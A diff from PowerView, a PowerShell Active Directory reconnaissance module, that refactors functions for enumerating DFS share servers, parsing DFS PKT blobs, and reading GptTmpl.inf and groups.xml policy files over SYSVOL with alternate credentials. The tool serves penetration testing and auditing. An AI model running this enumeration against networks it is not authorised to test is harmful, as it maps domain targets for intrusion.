- 'TargetList' = $target_list
- }
- $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties
- $prefix = $null
- $blob_name = $null
- $target_list = $null
- }
-
- $servers = @()
- $object_list | ForEach-Object {
- if ($_.TargetList) {
- $_.TargetList | ForEach-Object {
- $servers += $_.split("\")[2]
- }
- }
- }
-
- $servers
- }
-
- function Get-DFSshareV1 {
- [CmdletBinding()]
- param(
- [String]
- $Domain,
-
- [String]
- $DomainController,
+ BEGIN {
+ $SearcherArguments = @{}
+ if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
+ if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
+
+ function Parse-Pkt {
+ [CmdletBinding()]
+ Param(
+ [Byte[]]
+ $Pkt
+ )
- [String]
- $ADSpath,
+ $bin = $Pkt
+ $blob_version = [bitconverter]::ToUInt32($bin[0..3],0)
+ $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0)
+ $offset = 8
+ #https://msdn.microsoft.com/en-us/library/cc227147.aspx
+ $object_list = @()
+ for($i=1; $i -le $blob_element_count; $i++){
+ $blob_name_size_start = $offset
+ $blob_name_size_end = $offset + 1
+ $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0)
+
+ $blob_name_start = $blob_name_size_end + 1
+ $blob_name_end = $blob_name_start + $blob_name_size - 1
+ $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end])
+
+ $blob_data_size_start = $blob_name_end + 1
+ $blob_data_size_end = $blob_data_size_start + 3
+ $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0)
+
+ $blob_data_start = $blob_data_size_end + 1
+ $blob_data_end = $blob_data_start + $blob_data_size - 1
+ $blob_data = $bin[$blob_data_start..$blob_data_end]
+ switch -wildcard ($blob_name) {
+ "\siteroot" { }
+ "\domainroot*" {
+ # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first...
+ # DFSRootOrLinkIDBlob
+ $root_or_link_guid_start = 0
+ $root_or_link_guid_end = 15
+ $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end]
+ $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str
+ $prefix_size_start = $root_or_link_guid_end + 1
+ $prefix_size_end = $prefix_size_start + 1
+ $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0)
+ $prefix_start = $prefix_size_end + 1
+ $prefix_end = $prefix_start + $prefix_size - 1
+ $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end])
+
+ $short_prefix_size_start = $prefix_end + 1
+ $short_prefix_size_end = $short_prefix_size_start + 1
+ $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0)
+ $short_prefix_start = $short_prefix_size_end + 1
+ $short_prefix_end = $short_prefix_start + $short_prefix_size - 1
+ $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end])
+
+ $type_start = $short_prefix_end + 1
+ $type_end = $type_start + 3
+ $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0)
+
+ $state_start = $type_end + 1
+ $state_end = $state_start + 3
+ $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0)
+
+ $comment_size_start = $state_end + 1
+ $comment_size_end = $comment_size_start + 1
+ $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0)
+ $comment_start = $comment_size_end + 1
+ $comment_end = $comment_start + $comment_size - 1
+ if ($comment_size -gt 0) {
+ $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end])
+ }
+ $prefix_timestamp_start = $comment_end + 1
+ $prefix_timestamp_end = $prefix_timestamp_start + 7
+ # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME
+ $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime
+ $state_timestamp_start = $prefix_timestamp_end + 1
+ $state_timestamp_end = $state_timestamp_start + 7
+ $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end]
+ $comment_timestamp_start = $state_timestamp_end + 1
+ $comment_timestamp_end = $comment_timestamp_start + 7
+ $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end]
+ $version_start = $comment_timestamp_end + 1
+ $version_end = $version_start + 3
+ $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0)
+
+ # Parse rest of DFSNamespaceRootOrLinkBlob here
+ $dfs_targetlist_blob_size_start = $version_end + 1
+ $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3
+ $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0)
+
+ $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1
+ $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1
+ $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end]
+ $reserved_blob_size_start = $dfs_targetlist_blob_end + 1
+ $reserved_blob_size_end = $reserved_blob_size_start + 3
+ $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0)
+
+ $reserved_blob_start = $reserved_blob_size_end + 1
+ $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1
+ $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end]
+ $referral_ttl_start = $reserved_blob_end + 1
+ $referral_ttl_end = $referral_ttl_start + 3
+ $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0)
+
+ #Parse DFSTargetListBlob
+ $target_count_start = 0
+ $target_count_end = $target_count_start + 3
+ $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0)
+ $t_offset = $target_count_end + 1
+
+ for($j=1; $j -le $target_count; $j++){
+ $target_entry_size_start = $t_offset
+ $target_entry_size_end = $target_entry_size_start + 3
+ $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0)
+ $target_time_stamp_start = $target_entry_size_end + 1
+ $target_time_stamp_end = $target_time_stamp_start + 7
+ # FILETIME again or special if priority rank and priority class 0
+ $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end]
+ $target_state_start = $target_time_stamp_end + 1
+ $target_state_end = $target_state_start + 3
+ $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0)
+
+ $target_type_start = $target_state_end + 1
+ $target_type_end = $target_type_start + 3
+ $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0)
+
+ $server_name_size_start = $target_type_end + 1
+ $server_name_size_end = $server_name_size_start + 1
+ $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0)
+
+ $server_name_start = $server_name_size_end + 1
+ $server_name_end = $server_name_start + $server_name_size - 1
+ $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end])
+
+ $share_name_size_start = $server_name_end + 1
+ $share_name_size_end = $share_name_size_start + 1
+ $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0)
+ $share_name_start = $share_name_size_end + 1
+ $share_name_end = $share_name_start + $share_name_size - 1
+ $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end])
+
+ $target_list += "\\$server_name\$share_name"
+ $t_offset = $share_name_end + 1
+ }
+ }
+ }
+ $offset = $blob_data_end + 1
+ $dfs_pkt_properties = @{
+ 'Name' = $blob_name
+ 'Prefix' = $prefix
+ 'TargetList' = $target_list
+ }
+ $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties
+ $prefix = $Null
+ $blob_name = $Null
+ $target_list = $Null
+ }
- [ValidateRange(1,10000)]
- [Int]
- $PageSize = 200,
+ $servers = @()
+ $object_list | ForEach-Object {
+ if ($_.TargetList) {
+ $_.TargetList | ForEach-Object {
+ $servers += $_.split('\')[2]
+ }
+ }
+ }
- [Management.Automation.PSCredential]
- $Credential
- )
+ $servers
+ }
- $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
+ function Get-DomainDFSShareV1 {
+ [CmdletBinding()]
+ Param(
+ [String]
+ $Domain,
- if($DFSsearcher) {
- $DFSshares = @()
- $DFSsearcher.filter = "(&(objectClass=fTDfs))"
+ [String]
+ $SearchBase,
- try {
- $Results = $DFSSearcher.FindAll()
- $Results | Where-Object {$_} | ForEach-Object {
- $Properties = $_.Properties
- $RemoteNames = $Properties.remoteservername
- $Pkt = $Properties.pkt
+ [String]
+ $Server,
- $DFSshares += $RemoteNames | ForEach-Object {
- try {
- if ( $_.Contains('\') ) {
- New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split("\")[2]}
+ [String]
+ $SearchScope = 'Subtree',
+
+ [Int]
+ $ResultPageSize = 200,
+
+ [Int]
+ $ServerTimeLimit,
+
+ [Switch]
+ $Tombstone,
+
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
+ )
+
+ $DFSsearcher = Get-DomainSearcher @PSBoundParameters
+
+ if ($DFSsearcher) {
+ $DFSshares = @()
+ $DFSsearcher.filter = '(&(objectClass=fTDfs))'
+
+ try {
+ $Results = $DFSSearcher.FindAll()
+ $Results | Where-Object {$_} | ForEach-Object {
+ $Properties = $_.Properties
+ $RemoteNames = $Properties.remoteservername
+ $Pkt = $Properties.pkt
+
+ $DFSshares += $RemoteNames | ForEach-Object {
+ try {
+ if ( $_.Contains('\') ) {
+ New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split('\')[2]}
+ }
+ }
+ catch {
+ Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error in parsing DFS share : $_"
}
}
+ }
+ if ($Results) {
+ try { $Results.dispose() }
catch {
- Write-Verbose "Error in parsing DFS share : $_"
+ Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error disposing of the Results object: $_"
}
}
- }
- $Results.dispose()
- $DFSSearcher.dispose()
-
- if($pkt -and $pkt[0]) {
- Parse-Pkt $pkt[0] | ForEach-Object {
- # If a folder doesn't have a redirection it will
- # have a target like
- # \\null\TestNameSpace\folder\.DFSFolderLink so we
- # do actually want to match on "null" rather than
- # $null
- if ($_ -ne "null") {
- New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_}
+ $DFSSearcher.dispose()
+
+ if ($pkt -and $pkt[0]) {
+ Parse-Pkt $pkt[0] | ForEach-Object {
+ # If a folder doesn't have a redirection it will have a target like
+ # \\null\TestNameSpace\folder\.DFSFolderLink so we do actually want to match
+ # on 'null' rather than $Null
+ if ($_ -ne 'null') {
+ New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_}
+ }
}
}
}
+ catch {
+ Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV1 error : $_"
+ }
+ $DFSshares | Sort-Object -Unique -Property 'RemoteServerName'
}
- catch {
- Write-Warning "Get-DFSshareV1 error : $_"
- }
- $DFSshares | Sort-Object -Property "RemoteServerName"
}
- }
- function Get-DFSshareV2 {
- [CmdletBinding()]
- param(
- [String]
- $Domain,
+ function Get-DomainDFSShareV2 {
+ [CmdletBinding()]
+ Param(
+ [String]
+ $Domain,
- [String]
- $DomainController,
+ [String]
+ $SearchBase,
- [String]
- $ADSpath,
+ [String]
+ $Server,
- [ValidateRange(1,10000)]
- [Int]
- $PageSize = 200,
+ [String]
+ $SearchScope = 'Subtree',
- [Management.Automation.PSCredential]
- $Credential
- )
+ [Int]
+ $ResultPageSize = 200,
- $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
+ [Int]
+ $ServerTimeLimit,
- if($DFSsearcher) {
- $DFSshares = @()
- $DFSsearcher.filter = "(&(objectClass=msDFS-Linkv2))"
- $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2'))
+ [Switch]
+ $Tombstone,
- try {
- $Results = $DFSSearcher.FindAll()
- $Results | Where-Object {$_} | ForEach-Object {
- $Properties = $_.Properties
- $target_list = $Properties.'msdfs-targetlistv2'[0]
- $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)])
- $DFSshares += $xml.targets.ChildNodes | ForEach-Object {
- try {
- $Target = $_.InnerText
- if ( $Target.Contains('\') ) {
- $DFSroot = $Target.split("\")[3]
- $ShareName = $Properties.'msdfs-linkpathv2'[0]
- New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split("\")[2]}
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
+ )
+
+ $DFSsearcher = Get-DomainSearcher @PSBoundParameters
+
+ if ($DFSsearcher) {
+ $DFSshares = @()
+ $DFSsearcher.filter = '(&(objectClass=msDFS-Linkv2))'
+ $Null = $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2'))
+
+ try {
+ $Results = $DFSSearcher.FindAll()
+ $Results | Where-Object {$_} | ForEach-Object {
+ $Properties = $_.Properties
+ $target_list = $Properties.'msdfs-targetlistv2'[0]
+ $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)])
+ $DFSshares += $xml.targets.ChildNodes | ForEach-Object {
+ try {
+ $Target = $_.InnerText
+ if ( $Target.Contains('\') ) {
+ $DFSroot = $Target.split('\')[3]
+ $ShareName = $Properties.'msdfs-linkpathv2'[0]
+ New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split('\')[2]}
+ }
+ }
+ catch {
+ Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV2 error in parsing target : $_"
}
}
+ }
+ if ($Results) {
+ try { $Results.dispose() }
catch {
- Write-Verbose "Error in parsing target : $_"
+ Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_"
}
}
+ $DFSSearcher.dispose()
}
- $Results.dispose()
- $DFSSearcher.dispose()
- }
- catch {
- Write-Warning "Get-DFSshareV2 error : $_"
+ catch {
+ Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV2 error : $_"
+ }
+ $DFSshares | Sort-Object -Unique -Property 'RemoteServerName'
}
- $DFSshares | Sort-Object -Unique -Property "RemoteServerName"
}
}
- $DFSshares = @()
+ PROCESS {
+ $DFSshares = @()
- if ( ($Version -eq "all") -or ($Version.endsWith("1")) ) {
- $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
- }
- if ( ($Version -eq "all") -or ($Version.endsWith("2")) ) {
- $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
- }
+ if ($PSBoundParameters['Domain']) {
+ ForEach ($TargetDomain in $Domain) {
+ $SearcherArguments['Domain'] = $TargetDomain
+ if ($Version -match 'all|1') {
+ $DFSshares += Get-DomainDFSShareV1 @SearcherArguments
+ }
+ if ($Version -match 'all|2') {
+ $DFSshares += Get-DomainDFSShareV2 @SearcherArguments
+ }
+ }
+ }
+ else {
+ if ($Version -match 'all|1') {
+ $DFSshares += Get-DomainDFSShareV1 @SearcherArguments
+ }
+ if ($Version -match 'all|2') {
+ $DFSshares += Get-DomainDFSShareV2 @SearcherArguments
+ }
+ }
- $DFSshares | Sort-Object -Property ("RemoteServerName","Name") -Unique
+ $DFSshares | Sort-Object -Property ('RemoteServerName','Name') -Unique
+ }
}
@@ -6056,1690 +10362,2008 @@ function Get-DFSshare {
#
########################################################
-
-filter Get-GptTmpl {
+function Get-GptTmpl {
<#
- .SYNOPSIS
+.SYNOPSIS
- Helper to parse a GptTmpl.inf policy file path into a custom object.
+Helper to parse a GptTmpl.inf policy file path into a hashtable.
- .PARAMETER GptTmplPath
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, Get-IniContent
- The GptTmpl.inf file path name to parse.
+.DESCRIPTION
- .PARAMETER UsePSDrive
+Parses a GptTmpl.inf into a custom hashtable using Get-IniContent. If a
+GPO object is passed, GPOPATH\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf
+is constructed and assumed to be the parse target. If -Credential is passed,
+Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds,
+the files are parsed, and the connection is destroyed later with Remove-RemoteConnection.
- Switch. Mount the target GptTmpl folder path as a temporary PSDrive.
+.PARAMETER GptTmplPath
- .EXAMPLE
+Specifies the GptTmpl.inf file path name to parse.
- PS C:\> Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
+.PARAMETER Credential
- Parse the default domain policy .inf for dev.testlab.local
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the remote system.
+
+.EXAMPLE
+
+Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
+
+Parse the default domain policy .inf for dev.testlab.local
+
+.EXAMPLE
+
+Get-DomainGPO testing | Get-GptTmpl
+
+Parse the GptTmpl.inf policy for the GPO with display name of 'testing'.
+
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-GptTmpl -Credential $Cred -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
+
+Parse the default domain policy .inf for dev.testlab.local using alternate credentials.
+
+.OUTPUTS
+
+Hashtable
+
+Ouputs a hashtable representing the parsed GptTmpl.inf file.
#>
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType([Hashtable])]
[CmdletBinding()]
Param (
- [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
+ [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('gpcfilesyspath', 'Path')]
[String]
$GptTmplPath,
- [Switch]
- $UsePSDrive
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- if($UsePSDrive) {
- # if we're PSDrives, create a temporary mount point
- $Parts = $GptTmplPath.split('\')
- $FolderPath = $Parts[0..($Parts.length-2)] -join '\'
- $FilePath = $Parts[-1]
- $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join ''
-
- Write-Verbose "Mounting path $GptTmplPath using a temp PSDrive at $RandDrive"
+ BEGIN {
+ $MappedPaths = @{}
+ }
+ PROCESS {
try {
- $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop
+ if (($GptTmplPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
+ $SysVolPath = "\\$((New-Object System.Uri($GptTmplPath)).Host)\SYSVOL"
+ if (-not $MappedPaths[$SysVolPath]) {
+ # map IPC$ to this computer if it's not already
+ Add-RemoteConnection -Path $SysVolPath -Credential $Credential
+ $MappedPaths[$SysVolPath] = $True
+ }
+ }
+
+ $TargetGptTmplPath = $GptTmplPath
+ if (-not $TargetGptTmplPath.EndsWith('.inf')) {
+ $TargetGptTmplPath += '\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf'
+ }
+
+ Write-Verbose "[Get-GptTmpl] Parsing GptTmplPath: $TargetGptTmplPath"
+ Get-IniContent -Path $TargetGptTmplPath -ErrorAction Stop
}
catch {
- Write-Verbose "Error mounting path $GptTmplPath : $_"
- return $Null
+ Write-Verbose "[Get-GptTmpl] Error parsing $TargetGptTmplPath : $_"
}
-
- # so we can cd/dir the new drive
- $TargetGptTmplPath = $RandDrive + ":\" + $FilePath
- }
- else {
- $TargetGptTmplPath = $GptTmplPath
}
- Write-Verbose "GptTmplPath: $GptTmplPath"
-
- try {
- Write-Verbose "Parsing $TargetGptTmplPath"
- $TargetGptTmplPath | Get-IniContent -ErrorAction SilentlyContinue
- }
- catch {
- Write-Verbose "Error parsing $TargetGptTmplPath : $_"
- }
-
- if($UsePSDrive -and $RandDrive) {
- Write-Verbose "Removing temp PSDrive $RandDrive"
- Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force
+ END {
+ # remove the SYSVOL mappings
+ $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }
}
}
-filter Get-GroupsXML {
+function Get-GroupsXML {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Helper to parse a groups.xml file path into a custom object.
- Helper to parse a groups.xml file path into a custom object.
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertTo-SID
- .PARAMETER GroupsXMLpath
+.DESCRIPTION
- The groups.xml file path name to parse.
+Parses a groups.xml into a custom object. If -Credential is passed,
+Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds,
+the files are parsed, and the connection is destroyed later with Remove-RemoteConnection.
- .PARAMETER UsePSDrive
+.PARAMETER GroupsXMLpath
- Switch. Mount the target groups.xml folder path as a temporary PSDrive.
+Specifies the groups.xml file path name to parse.
+
+.PARAMETER Credential
+
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the remote system.
+
+.OUTPUTS
+
+PowerView.GroupsXML
#>
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('PowerView.GroupsXML')]
[CmdletBinding()]
Param (
- [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
+ [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('Path')]
[String]
$GroupsXMLPath,
- [Switch]
- $UsePSDrive
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- if($UsePSDrive) {
- # if we're PSDrives, create a temporary mount point
- $Parts = $GroupsXMLPath.split('\')
- $FolderPath = $Parts[0..($Parts.length-2)] -join '\'
- $FilePath = $Parts[-1]
- $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join ''
-
- Write-Verbose "Mounting path $GroupsXMLPath using a temp PSDrive at $RandDrive"
-
- try {
- $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop
- }
- catch {
- Write-Verbose "Error mounting path $GroupsXMLPath : $_"
- return $Null
- }
-
- # so we can cd/dir the new drive
- $TargetGroupsXMLPath = $RandDrive + ":\" + $FilePath
- }
- else {
- $TargetGroupsXMLPath = $GroupsXMLPath
+ BEGIN {
+ $MappedPaths = @{}
}
- try {
- [XML]$GroupsXMLcontent = Get-Content $TargetGroupsXMLPath -ErrorAction Stop
-
- # process all group properties in the XML
- $GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object {
-
- $Groupname = $_.Properties.groupName
-
- # extract the localgroup sid for memberof
- $GroupSID = $_.Properties.groupSid
- if(-not $GroupSID) {
- if($Groupname -match 'Administrators') {
- $GroupSID = 'S-1-5-32-544'
- }
- elseif($Groupname -match 'Remote Desktop') {
- $GroupSID = 'S-1-5-32-555'
- }
- elseif($Groupname -match 'Guests') {
- $GroupSID = 'S-1-5-32-546'
- }
- else {
- $GroupSID = Convert-NameToSid -ObjectName $Groupname | Select-Object -ExpandProperty SID
+ PROCESS {
+ try {
+ if (($GroupsXMLPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
+ $SysVolPath = "\\$((New-Object System.Uri($GroupsXMLPath)).Host)\SYSVOL"
+ if (-not $MappedPaths[$SysVolPath]) {
+ # map IPC$ to this computer if it's not already
+ Add-RemoteConnection -Path $SysVolPath -Credential $Credential
+ $MappedPaths[$SysVolPath] = $True
}
}
- # extract out members added to this group
- $Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object {
- if($_.sid) { $_.sid }
- else { $_.name }
- }
+ [XML]$GroupsXMLcontent = Get-Content -Path $GroupsXMLPath -ErrorAction Stop
+
+ # process all group properties in the XML
+ $GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object {
- if ($Members) {
+ $Groupname = $_.Properties.groupName
- # extract out any/all filters...I hate you GPP
- if($_.filters) {
- $Filters = $_.filters.GetEnumerator() | ForEach-Object {
- New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name}
+ # extract the localgroup sid for memberof
+ $GroupSID = $_.Properties.groupSid
+ if (-not $GroupSID) {
+ if ($Groupname -match 'Administrators') {
+ $GroupSID = 'S-1-5-32-544'
+ }
+ elseif ($Groupname -match 'Remote Desktop') {
+ $GroupSID = 'S-1-5-32-555'
+ }
+ elseif ($Groupname -match 'Guests') {
+ $GroupSID = 'S-1-5-32-546'
+ }
+ else {
+ if ($PSBoundParameters['Credential']) {
+ $GroupSID = ConvertTo-SID -ObjectName $Groupname -Credential $Credential
+ }
+ else {
+ $GroupSID = ConvertTo-SID -ObjectName $Groupname
+ }
}
}
- else {
- $Filters = $Null
+
+ # extract out members added to this group
+ $Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object {
+ if ($_.sid) { $_.sid }
+ else { $_.name }
}
- if($Members -isnot [System.Array]) { $Members = @($Members) }
+ if ($Members) {
+ # extract out any/all filters...I hate you GPP
+ if ($_.filters) {
+ $Filters = $_.filters.GetEnumerator() | ForEach-Object {
+ New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name}
+ }
+ }
+ else {
+ $Filters = $Null
+ }
- $GPOGroup = New-Object PSObject
- $GPOGroup | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath
- $GPOGroup | Add-Member Noteproperty 'Filters' $Filters
- $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName
- $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID
- $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Null
- $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Members
- $GPOGroup
+ if ($Members -isnot [System.Array]) { $Members = @($Members) }
+
+ $GroupsXML = New-Object PSObject
+ $GroupsXML | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath
+ $GroupsXML | Add-Member Noteproperty 'Filters' $Filters
+ $GroupsXML | Add-Member Noteproperty 'GroupName' $GroupName
+ $GroupsXML | Add-Member Noteproperty 'GroupSID' $GroupSID
+ $GroupsXML | Add-Member Noteproperty 'GroupMemberOf' $Null
+ $GroupsXML | Add-Member Noteproperty 'GroupMembers' $Members
+ $GroupsXML.PSObject.TypeNames.Insert(0, 'PowerView.GroupsXML')
+ $GroupsXML
+ }
}
}
- }
- catch {
- Write-Verbose "Error parsing $TargetGroupsXMLPath : $_"
+ catch {
+ Write-Verbose "[Get-GroupsXML] Error parsing $TargetGroupsXMLPath : $_"
+ }
}
- if($UsePSDrive -and $RandDrive) {
- Write-Verbose "Removing temp PSDrive $RandDrive"
- Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force
+ END {
+ # remove the SYSVOL mappings
+ $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }
}
}
-function Get-NetGPO {
+function Get-DomainGPO {
<#
- .SYNOPSIS
-
- Gets a list of all current GPOs in a domain.
-
- .PARAMETER GPOname
-
- The GPO name to query for, wildcards accepted.
-
- .PARAMETER DisplayName
-
- The GPO display name to query for, wildcards accepted.
-
- .PARAMETER ComputerName
-
- Return all GPO objects applied to a given computer (FQDN).
-
- .PARAMETER Domain
+.SYNOPSIS
- The domain to query for GPOs, defaults to the current domain.
+Return all GPOs or specific GPO objects in AD.
- .PARAMETER DomainController
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
